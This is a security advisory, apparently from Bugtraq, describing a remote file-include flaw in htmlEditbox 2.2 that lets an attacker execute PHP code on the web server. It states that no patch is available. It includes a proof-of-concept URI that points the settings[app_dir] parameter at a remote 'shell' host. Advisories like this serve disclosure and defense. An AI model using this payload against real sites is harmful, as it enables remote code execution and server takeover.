HTMLEditBox Config.PHP Remote File Include Vulnerability

Bugtraq ID:	23664
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 25 2007 12:00AM
Updated:	Apr 25 2007 12:00AM
Credit:	[email protected] is credited with the discovery of this vulnerability.
Vulnerable:	Labs4 htmlEditor 2.2
Not Vulnerable:

HTMLEditBox Config.PHP Remote File Include Vulnerability

htmlEditbox is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this vulnerability to execute malicious PHP code in the context of the webserver. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

htmlEditbox 2.2 is vulnerable to this issue; other versions may also be affected.

HTMLEditBox Config.PHP Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

A proof-of-concept URI is available:
http://www.example.com/_editor.php?settings[app_dir]=http://shell

HTMLEditBox Config.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

HTMLEditBox Config.PHP Remote File Include Vulnerability

References:

• htmlEditBox Product Page (Lab4)
  
• HTMLeditbox & 2.2 >> RFI ([email protected])